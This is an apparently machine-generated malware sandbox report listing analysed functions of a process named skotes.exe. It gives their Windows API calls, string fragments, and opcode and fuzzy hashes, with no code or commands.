Instruction Fuzzy Hash: 90019CE210E610BED7937D614A841BA3B69EAB317032204EEF441C8442E6562A4EE932

Function 04B80BFB Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745450025.0000000004B80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91e353501be7d3ce93fcb460352af1fa829df6995a4c5895e85683c27cda3f55
Instruction ID: 79a31ab4c1aa8adb27d4fb28c556849397bd6178d6fc0a353bb366ddaedb7327
Opcode Fuzzy Hash: 91e353501be7d3ce93fcb460352af1fa829df6995a4c5895e85683c27cda3f55
Instruction Fuzzy Hash: A601F7E7249210FE51923E915B455B97A2AB5631B073244BAF803D4902F2D46F4CF831

Function 04B80C1B Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745450025.0000000004B80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76132dbe9ad2154a6f08eb9949bee7909fd4be5c045f92ff9cac3b2640d2ba44
Instruction ID: e6f11061e8021afc59d6fd856de99c86b73fee17290dab3cce4559ca9dd82bbb
Opcode Fuzzy Hash: 76132dbe9ad2154a6f08eb9949bee7909fd4be5c045f92ff9cac3b2640d2ba44
Instruction Fuzzy Hash: D6017BE620A210FF51913F519B515FE772DA6622B07224469F807D1042F3A47A4DF831

Function 04B80C78 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745450025.0000000004B80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6177cfdb90959acc672f4ff9074c003529bf5a739aea04ce7d5357017dad451
Instruction ID: 30023dd5c1df9f51b996040dc9bf932b114b379aecf198fd4d7f925622544789
Opcode Fuzzy Hash: e6177cfdb90959acc672f4ff9074c003529bf5a739aea04ce7d5357017dad451
Instruction Fuzzy Hash: BCF04CE6509102FFE6827D6086445FA3B1EF6E217033348BEF44385401F2916B4EF971

Function 04B80CB2 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745450025.0000000004B80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aff85bb389bf45d6816aaa4da05f02a70f1434cfd37617bf3974344d51baf8c7
Instruction ID: 75a68102ce2540f4d8ff8e32fccda015a8a420a49085b6c903ce313b6633d20a
Opcode Fuzzy Hash: aff85bb389bf45d6816aaa4da05f02a70f1434cfd37617bf3974344d51baf8c7
Instruction Fuzzy Hash: 1EF02EEB14A110AE60517D515B445FA372EF5F25B0332486EF40390411B2846F4EFC31

Function 04B80C66 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745450025.0000000004B80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0492f70ca58832512ce25d86ae6ef93fd747835262b739ad17a9c7615ed86d1
Instruction ID: 1ff86022b9a91a46c9a81a62fcf20fcccf74b46dbd5fe7af31008503ac48b988
Opcode Fuzzy Hash: e0492f70ca58832512ce25d86ae6ef93fd747835262b739ad17a9c7615ed86d1
Instruction Fuzzy Hash: 8AF027F6109211FEE2927E615B042FA776DFAA227072248BEF443C5401F3952B4DFA32

Function 04B80C97 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745450025.0000000004B80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92d4ba5479691557309c66413b9f2dd517520532df99b44f69fbca42da9a6191
Instruction ID: f5983e5044d7522bf6b7485a091172fc6cf9349b640dcee359a28131a134a78f
Opcode Fuzzy Hash: 92d4ba5479691557309c66413b9f2dd517520532df99b44f69fbca42da9a6191
Instruction Fuzzy Hash: 09E0E5E6245214BEE0617A515F046F7337DE2A26703724869F802D5481E2D12A4DE931

Function 04B80CBE Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745450025.0000000004B80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cce91587be1ee20365d51004040aede2f8c3f533675f76d2d9992179c8badc0
Instruction ID: 4299689dcb115bc7253e207c097eab1d6ae9b865f9ce54d93ee23ca539cf037f
Opcode Fuzzy Hash: 4cce91587be1ee20365d51004040aede2f8c3f533675f76d2d9992179c8badc0
Instruction Fuzzy Hash: AFE0D8F75091207EB1A26A901A885FB7778F5D31713218869F401C5443E2892F0EA632

Analysis Process: skotes.exePID: 2936, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	0.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	44
Total number of Limit Nodes:	2

Executed Functions

Function 0020D745 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 205
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 0020DB83
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 0020DBAA
GetNativeSystemInfo.KERNELBASE(?), ref: 0020DC01

Strings

E, xrefs: 0020D8B7
j, xrefs: 0020D79F

Memory Dump Source

Source File: 00000002.00000001.1722767543.0000000000209000.00000040.00000001.01000000.00000007.sdmp, Offset: 00209000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_209000_skotes.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID: E$j
API String ID: 1247124224-3584032729
Opcode ID: 00db39788e960aaa5ba65c4e49f1b19b4846ebf2c0542427bbe5980cc8ce5dca
Instruction ID: 430129c71bad961ace39ff2b02ba493aba57972fdeb63fd83a4bf66ab6ef6ae3
Opcode Fuzzy Hash: 00db39788e960aaa5ba65c4e49f1b19b4846ebf2c0542427bbe5980cc8ce5dca
Instruction Fuzzy Hash: ED91777111530EAFEB11DF60CC88B9E3BA5EF0A304F150429EA8196A91D7B65CA4CF1E

Function 0020CAB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 0020DB83
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 0020DBAA
GetNativeSystemInfo.KERNELBASE(?), ref: 0020DC01

Strings

<`#, xrefs: 0020D260

Memory Dump Source

Source File: 00000002.00000001.1722767543.0000000000209000.00000040.00000001.01000000.00000007.sdmp, Offset: 00209000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_209000_skotes.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID: <`#
API String ID: 1247124224-3249801047
Opcode ID: 46be59945a49a5e8553a0950c54f352e5f124fd712157febb83b52a3f584ff88
Instruction ID: a64a9ab6b4a9b9f7737347600b4a7f83b5135352963fce7a2136c92d973f3253
Opcode Fuzzy Hash: 46be59945a49a5e8553a0950c54f352e5f124fd712157febb83b52a3f584ff88
Instruction Fuzzy Hash: ED416C7102970EDFDB11DF50C488AAE7BE4FF05314F11482AE98582992D7B65CA4DF1E

Function 0020D6CE Relevance: 4.6, APIs: 3, Instructions: 60
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 0020DB83
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 0020DBAA
GetNativeSystemInfo.KERNELBASE(?), ref: 0020DC01

Memory Dump Source

Source File: 00000002.00000001.1722767543.0000000000209000.00000040.00000001.01000000.00000007.sdmp, Offset: 00209000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_209000_skotes.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: c9b0ebc57dff0a9cc09d0e389d935ffab5b252dc4e4b4f9d13469cbea1a7c8d6
Instruction ID: 7466a7c25e7fa140331c054ae7dfd3bb09fe2e44126a038c4cf95c17b00ea001
Opcode Fuzzy Hash: c9b0ebc57dff0a9cc09d0e389d935ffab5b252dc4e4b4f9d13469cbea1a7c8d6
Instruction Fuzzy Hash: 0D21247102264F9FEF21CFA0C888BDE3AA4EB06308F510426E94185892D7B64DB8CF1D

Function 0020DB41 Relevance: 4.6, APIs: 3, Instructions: 59
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 0020DB83
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 0020DBAA
GetNativeSystemInfo.KERNELBASE(?), ref: 0020DC01

Memory Dump Source

Source File: 00000002.00000001.1722767543.0000000000209000.00000040.00000001.01000000.00000007.sdmp, Offset: 00209000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_209000_skotes.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: c96a2468683535244efea5793788fd4e5320ff1e2e5596d69dabdadd50d06424
Instruction ID: 3b4c203b687958159f5cc85269a9b059b873f1034741306224d6436490a6ef78
Opcode Fuzzy Hash: c96a2468683535244efea5793788fd4e5320ff1e2e5596d69dabdadd50d06424
Instruction Fuzzy Hash: 2121153141264EDFEF11DFA0C848ADE3BA4EF02314F550526E84186892D7B64DB8CF1E

Function 00080121 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 30
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00080230

Strings

77s, xrefs: 00080190

Memory Dump Source

Source File: 00000002.00000001.1722767543.000000000007B000.00000040.00000001.01000000.00000007.sdmp, Offset: 0007B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_7b000_skotes.jbxd

Similarity

API ID: AllocVirtual
String ID: 77s
API String ID: 4275171209-3053787017
Opcode ID: 3ee7a02716d3e005f2655f1ae5d8ea80ad78bdae2828dc39b71c7af51f470f53
Instruction ID: 0da6fb0a23d9934f085e641b1aacc841c9245aaba44d98f65f665cda88cdc6cf
Opcode Fuzzy Hash: 3ee7a02716d3e005f2655f1ae5d8ea80ad78bdae2828dc39b71c7af51f470f53
Instruction Fuzzy Hash: E8F0AF7500C1468BEB497F74C4697BD7BA0FF14310F51465CDAE287AC0D6314C50CB8A

Function 0008018B Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 27
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00080230

Strings

77s, xrefs: 00080190

Memory Dump Source

Source File: 00000002.00000001.1722767543.000000000007B000.00000040.00000001.01000000.00000007.sdmp, Offset: 0007B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_7b000_skotes.jbxd

Similarity

API ID: AllocVirtual
String ID: 77s
API String ID: 4275171209-3053787017
Opcode ID: 9e21951ccd96cfa434455082ea8c9487870c97f6f4869be3c0965e45ba0d3d46
Instruction ID: dc343458d85c473e4ae6630ae48da3e56be8267cb79f197cb6d866900ecc71ec
Opcode Fuzzy Hash: 9e21951ccd96cfa434455082ea8c9487870c97f6f4869be3c0965e45ba0d3d46
Instruction Fuzzy Hash: 44F0BEB600C24A8BE709BF74C4997BD7BA0EF14310F51066CEAE3826C0D6714851CA4A

Function 0020B5C9 Relevance: 1.5, APIs: 1, Instructions: 47
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00210225

Memory Dump Source

Source File: 00000002.00000001.1722767543.0000000000209000.00000040.00000001.01000000.00000007.sdmp, Offset: 00209000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_209000_skotes.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7c5032fe1b016ec5910c22acad7f75112fc9319a7e4758780973991e6ad705f1
Instruction ID: 4c0c94223e21067df4357f9f6acc0103fd92473e0e5f3e4981ce6fc214c6c65e
Opcode Fuzzy Hash: 7c5032fe1b016ec5910c22acad7f75112fc9319a7e4758780973991e6ad705f1
Instruction Fuzzy Hash: 93012DB34181059BD30CBE38C9A853E77D5EF20690F16451DFAC7CA744E92128508A06

Function 0020DC56 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 0020DC01

Memory Dump Source

Source File: 00000002.00000001.1722767543.0000000000209000.00000040.00000001.01000000.00000007.sdmp, Offset: 00209000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_209000_skotes.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: da13d86bdc80c5fede1728785a26e92b99faa1f982f7bc9e1721d8b032cd8ae5
Instruction ID: fe06c0442a4eab74ffef2ea8419ea7e4c5d34386faa61b3a9b4bcaae30079d1d
Opcode Fuzzy Hash: da13d86bdc80c5fede1728785a26e92b99faa1f982f7bc9e1721d8b032cd8ae5
Instruction Fuzzy Hash: 1EF03A3042678BCBEB26DFB0C04879D3BA1EB13318F154166C885468C6D7BA5DA5DB0D

Function 0007F2C8 Relevance: 1.3, APIs: 1, Instructions: 53
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0007F86D

Memory Dump Source

Source File: 00000002.00000001.1722767543.000000000007B000.00000040.00000001.01000000.00000007.sdmp, Offset: 0007B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_7b000_skotes.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 930099627290e3851c66f2b613c90dcdd9588867af99f8fed55dc936c4ce03b3
Instruction ID: c65e352d01d52be77125c21a6afcd76ec2217faad995af84a7675751eaa9d5c6
Opcode Fuzzy Hash: 930099627290e3851c66f2b613c90dcdd9588867af99f8fed55dc936c4ce03b3
Instruction Fuzzy Hash: 851176B190D784DFD351AF29D9482ADBBF0FF91700F19886EE4C88B211E2744899EB07

Function 0007F7EB Relevance: 1.3, APIs: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0007F86D

Memory Dump Source

Source File: 00000002.00000001.1722767543.000000000007B000.00000040.00000001.01000000.00000007.sdmp, Offset: 0007B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_7b000_skotes.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: bc396d487d29828ba4da070c52c4985675eeb7d9b735ad0ea58170e429956704
Instruction ID: 8a8355d6c2835b2a475abe7259c118084cf17063fa31c2a10914a5c35ecb9a76
Opcode Fuzzy Hash: bc396d487d29828ba4da070c52c4985675eeb7d9b735ad0ea58170e429956704
Instruction Fuzzy Hash: B61196F180CB85DBD3A0AF29C84867DBAE0BF94700F15892CE5C987251E2749844AB0B

Function 0008003C Relevance: 1.3, APIs: 1, Instructions: 26
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00080230

Memory Dump Source

Source File: 00000002.00000001.1722767543.000000000007B000.00000040.00000001.01000000.00000007.sdmp, Offset: 0007B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_7b000_skotes.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 912c4182e4a6d9333dd43bb53e0057902e474a39ea3e7caa79d790d28437486e
Instruction ID: 0b7459fd92b52fa5cf305c0882268d6415fcebbe04c5d0fa04928cb134983d01
Opcode Fuzzy Hash: 912c4182e4a6d9333dd43bb53e0057902e474a39ea3e7caa79d790d28437486e
Instruction Fuzzy Hash: 7FF0F8B610C509CBDB4DBFB4D4697BE77A1EF04311F250A2DAAE3876C0DA711850CB8A

Function 00080202 Relevance: 1.3, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00080230

Memory Dump Source

Source File: 00000002.00000001.1722767543.000000000007B000.00000040.00000001.01000000.00000007.sdmp, Offset: 0007B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_7b000_skotes.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9df3c3dde57440235774d7773ea0f44e9773bdadf6058933ed92b0a6708bd781
Instruction ID: d4ab4eed1757be6af91f9741ce6e83bc5b6cc8ee9d21ea76ddcc76b36bfa54b3
Opcode Fuzzy Hash: 9df3c3dde57440235774d7773ea0f44e9773bdadf6058933ed92b0a6708bd781
Instruction Fuzzy Hash: 13D0127644410F87CB942F74808C5EE37B0EF08361B304250AC76C1AD0C6664C54CA2D

Non-executed Functions

Function 001E76F3 Relevance: 9.1, Strings: 6, Instructions: 1554
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

K[_, xrefs: 001E88B3
d'e>, xrefs: 001E7A4C
qc_, xrefs: 001E7E75
Zs7, xrefs: 001E898D
_5}~, xrefs: 001E7DE2
j"_, xrefs: 001E88B9

Memory Dump Source

Source File: 00000002.00000001.1722767543.000000000007B000.00000040.00000001.01000000.00000007.sdmp, Offset: 0007B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_7b000_skotes.jbxd

Similarity

API ID:
String ID: K[_$Zs7$_5}~$d'e>$j"_$qc_
API String ID: 0-919484776
Opcode ID: d01a5c64e4a4499ae5459e9f59ac0585249464f39153d786832866cd586b695a
Instruction ID: 9c6cc4e4639694a8743636406355c871c57564f60b7d9843de1d1caff751b062
Opcode Fuzzy Hash: d01a5c64e4a4499ae5459e9f59ac0585249464f39153d786832866cd586b695a
Instruction Fuzzy Hash: FBB205F350C204AFE3047E29EC8567AFBE9EF94720F1A492DE6C487744EA3598418797

Function 001E435F Relevance: 9.0, Strings: 6, Instructions: 1481
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

SMu, xrefs: 001E463C
Uo, xrefs: 001E54B1
Qy, xrefs: 001E4D04
zB], xrefs: 001E54E2
)\U, xrefs: 001E47CA
3eW, xrefs: 001E5227

Memory Dump Source

Source File: 00000002.00000001.1722767543.000000000007B000.00000040.00000001.01000000.00000007.sdmp, Offset: 0007B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_7b000_skotes.jbxd

Similarity

API ID:
String ID: 3eW$SMu$zB]$)\U$Qy$Uo
API String ID: 0-2161341707
Opcode ID: 8c329d9e0fdb148e3bdb6b9f4dcbdc5d336e6a93412be66aae5116589813c00f
Instruction ID: a0100bbaeacf41f4baa593bb2c93f0b2a64a20698017af436f8328ec981b6575
Opcode Fuzzy Hash: 8c329d9e0fdb148e3bdb6b9f4dcbdc5d336e6a93412be66aae5116589813c00f
Instruction Fuzzy Hash: A0A208F3A0C2049FE7046E2DEC8577AF7E9EB98320F1A453DEAC4C3744EA7558058696

Function 001EAD0A Relevance: 9.0, Strings: 6, Instructions: 1464
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

b_/}, xrefs: 001EBD79
3l~, xrefs: 001EB070
3x+, xrefs: 001EB219, 001EB31D, 001EB33B, 001EB384, 001EB390, 001EB3D8, 001EB3FC, 001EB457, 001EB4BA, 001EB5CD, 001EB601, 001EB608, 001EB642, 001EB65D, 001EB661, 001EB696, 001EB697, 001EB6B7, 001EB6E1, 001EB6EA, 001EB708, 001EB713, 001EB72E, 001EB747, 001EB75D, 001EB769, 001EB78B, 001EB7E3, 001EB855, 001EB87D, 001EB8A7, 001EB8B0, 001EB986, 001EBA45, 001EBA94, 001EBB03, 001EBB3D, 001EBBDA, 001EBDF9, 001EBE02, 001EBE22, 001EBE3D
/G{}, xrefs: 001EBA9B
>n(, xrefs: 001EAD8A
_cv, xrefs: 001EBC06

Memory Dump Source

Source File: 00000002.00000001.1722767543.000000000007B000.00000040.00000001.01000000.00000007.sdmp, Offset: 0007B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_7b000_skotes.jbxd

Similarity

API ID:
String ID: _cv$/G{}$3l~$3x+$>n($b_/}
API String ID: 0-2769582514
Opcode ID: ee7e5574a6cb5a249eb590f337dd4f2dd80ed258bd3a4fed11fa187839d304f3
Instruction ID: 946bc9dfe071b2fa73f8e5ad69a67d1ddea10f4635da90cbd97ac90b75dc9b18
Opcode Fuzzy Hash: ee7e5574a6cb5a249eb590f337dd4f2dd80ed258bd3a4fed11fa187839d304f3
Instruction Fuzzy Hash: D2A2F8F3A0C2109FE3046E2DDC8567ABBE5EF94720F1A493DEAC4C7744E63598058697

Function 001EE5C6 Relevance: 8.8, Strings: 6, Instructions: 1303COMMON

Download Yara Rule

Strings

Jn>, xrefs: 001EF273
s, xrefs: 001EEF48
4t??, xrefs: 001EE689
j9?n, xrefs: 001EF1AA
vxb}, xrefs: 001EED4E
k9?n, xrefs: 001EF1AF

Memory Dump Source

Source File: 00000002.00000001.1722767543.000000000007B000.00000040.00000001.01000000.00000007.sdmp, Offset: 0007B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_7b000_skotes.jbxd

Similarity

API ID:
String ID: 4t??$Jn>$j9?n$k9?n$s$vxb}
API String ID: 0-3629412242
Opcode ID: c2a20db0aa5db9c78cb1609fb30ca91a5012fa3c3cd477cd960606d796af25a7
Instruction ID: fb64de2b82671852f7757382561ad6f561a5cd2ab4825d7e377960d551f3a382
Opcode Fuzzy Hash: c2a20db0aa5db9c78cb1609fb30ca91a5012fa3c3cd477cd960606d796af25a7
Instruction Fuzzy Hash: 4D9206B360C204AFE304AE2DEC85A7ABBE9EFD4720F15853DE6C4C3744EA7558058697

Function 001F9E16 Relevance: 8.0, Strings: 5, Instructions: 1700COMMON

Download Yara Rule

Strings

r:w, xrefs: 001FA696
X$O, xrefs: 001FA0A7
O.?o, xrefs: 001F9ED8
Wro}, xrefs: 001FA0BE
bW;, xrefs: 001FAF0F

Memory Dump Source

Source File: 00000002.00000001.1722767543.000000000007B000.00000040.00000001.01000000.00000007.sdmp, Offset: 0007B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_7b000_skotes.jbxd

Similarity

API ID:
String ID: X$O$O.?o$Wro}$bW;$r:w
API String ID: 0-2054336186
Opcode ID: 22e45b1646721863d8f409df927f87c542b3febbcda39db1b4f64ba1d57bdc63
Instruction ID: f9b85706d39c933da020fce752f15c7437d64061b433fc22a0bb229a7ddd2ac8
Opcode Fuzzy Hash: 22e45b1646721863d8f409df927f87c542b3febbcda39db1b4f64ba1d57bdc63
Instruction Fuzzy Hash: 59B26BF3A0C2145FE3046E2DEC85A7AFBE9EF94320F16463DEAC4C7344EA7558058696

Function 001E912F Relevance: 6.7, Strings: 4, Instructions: 1652COMMON

Download Yara Rule

Strings

c4g~, xrefs: 001E95CC
7tvu, xrefs: 001E93F0
y_, xrefs: 001EA459
cg{, xrefs: 001E96C9

Memory Dump Source

Source File: 00000002.00000001.1722767543.000000000007B000.00000040.00000001.01000000.00000007.sdmp, Offset: 0007B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_7b000_skotes.jbxd

Similarity

API ID:
String ID: 7tvu$c4g~$cg{$y_
API String ID: 0-1764017533
Opcode ID: 59e709e1a1db1f738e5f9f7242b7f8de6a7e958f61673c4bac2c390a036b9fae
Instruction ID: 31c8cc2b63cef82c9e08271914bd8eb06de8abe53ce33bea3fef3d1ee71d6d84
Opcode Fuzzy Hash: 59e709e1a1db1f738e5f9f7242b7f8de6a7e958f61673c4bac2c390a036b9fae
Instruction Fuzzy Hash: 1EB228F3A0C2049FE7046E6DEC8567AFBE9EB94320F1A453DE6C4C7744EA3598018697

Function 001EC5E0 Relevance: 6.6, Strings: 4, Instructions: 1616COMMON

Download Yara Rule

Strings

)s*7, xrefs: 001EC8DE
.4~?, xrefs: 001ECB5F
$ _?, xrefs: 001EC6EC
S<{_, xrefs: 001ED7AD

Memory Dump Source

Source File: 00000002.00000001.1722767543.000000000007B000.00000040.00000001.01000000.00000007.sdmp, Offset: 0007B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_7b000_skotes.jbxd

Similarity

API ID:
String ID: $ _?$)s*7$.4~?$S<{_
API String ID: 0-2647205427
Opcode ID: 7231d325007164164c990eaf8eca74a65120b51061e89433c6d99f4832efc54b
Instruction ID: b0da037b0ed3e741786b248af06b46a3413fdfc22a3024195df983fdaa53d9d3
Opcode Fuzzy Hash: 7231d325007164164c990eaf8eca74a65120b51061e89433c6d99f4832efc54b
Instruction Fuzzy Hash: 3DB2F4F350C2049FE3046E2DEC8567AFBE9EF94720F1A493DEAC483744EA7598058697

Function 001F6815 Relevance: 4.1, Strings: 2, Instructions: 1591COMMON

Download Yara Rule

Strings

ATW6, xrefs: 001F73C8
}iO, xrefs: 001F6E9F

Memory Dump Source

Source File: 00000002.00000001.1722767543.000000000007B000.00000040.00000001.01000000.00000007.sdmp, Offset: 0007B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_7b000_skotes.jbxd

Similarity

API ID:
String ID: }iO$ATW6
API String ID: 0-3796813060
Opcode ID: 3afdab4598a08af57cbf042130146511e8252d5fbe1d59677ca106d0e112de16
Instruction ID: 4b886fd6372f0c2e20cc7e5c6379a95659c9b1caade807c6d771646683a7f64e
Opcode Fuzzy Hash: 3afdab4598a08af57cbf042130146511e8252d5fbe1d59677ca106d0e112de16
Instruction Fuzzy Hash: C6B2D5F360C604AFD304AE29DC8566AFBE5EF94720F1A493DEAC4C3344E63598058B97

Function 001EFC7E Relevance: 4.1, Strings: 2, Instructions: 1581COMMON

Download Yara Rule

Strings

:A^}, xrefs: 001F0494
OE', xrefs: 001F00DA

Memory Dump Source

Source File: 00000002.00000001.1722767543.000000000007B000.00000040.00000001.01000000.00000007.sdmp, Offset: 0007B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_7b000_skotes.jbxd

Similarity

API ID:
String ID: :A^}$OE'
API String ID: 0-3161403293
Opcode ID: d5fd5c391d7ee28a089adff89a9f048ec5f1b8c66768d145a5a6ad312418d95c
Instruction ID: 19ab68f02a35b7a9989b8f24f7ba6e100913ca1cf17b34c0415c7886796641a1
Opcode Fuzzy Hash: d5fd5c391d7ee28a089adff89a9f048ec5f1b8c66768d145a5a6ad312418d95c
Instruction Fuzzy Hash: 8BB2F6F3A0C2049FE7046E2DEC8577ABBE9EF94720F16463DEAC483744EA3558058697

Function 0012DEA3 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000001.1722767543.000000000007B000.00000040.00000001.01000000.00000007.sdmp, Offset: 0007B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_7b000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9ad22316672d8f1f554d3d7be83fa97231e6e97099497dcc5920d648a413df8
Instruction ID: 0327d83174b29161a922e1fb614621c808997b9625324bc6052e9b95a35b64a7
Opcode Fuzzy Hash: d9ad22316672d8f1f554d3d7be83fa97231e6e97099497dcc5920d648a413df8
Instruction Fuzzy Hash: 176128F3E483145BE3006A2DEC85776B7D4EB94720F1A863DDFD493780ED3948048296

Function 00219030 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000001.1722767543.0000000000209000.00000040.00000001.01000000.00000007.sdmp, Offset: 00209000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_209000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cd896f50c927ed25595f32548c584c4637af39e1dd5321354928c7dfaf92bdb
Instruction ID: 8ac156acb1bc9119a98ec15e3bdda690aaf22b8cf36a20d675190fea69a19782
Opcode Fuzzy Hash: 4cd896f50c927ed25595f32548c584c4637af39e1dd5321354928c7dfaf92bdb
Instruction Fuzzy Hash: 116139B253C204DFD702BE29DC456BAB7E6EBA4310F22892DD9C187304E67544E59783

Function 000B6A3A Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000001.1722767543.000000000007B000.00000040.00000001.01000000.00000007.sdmp, Offset: 0007B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_7b000_skotes.jbxd

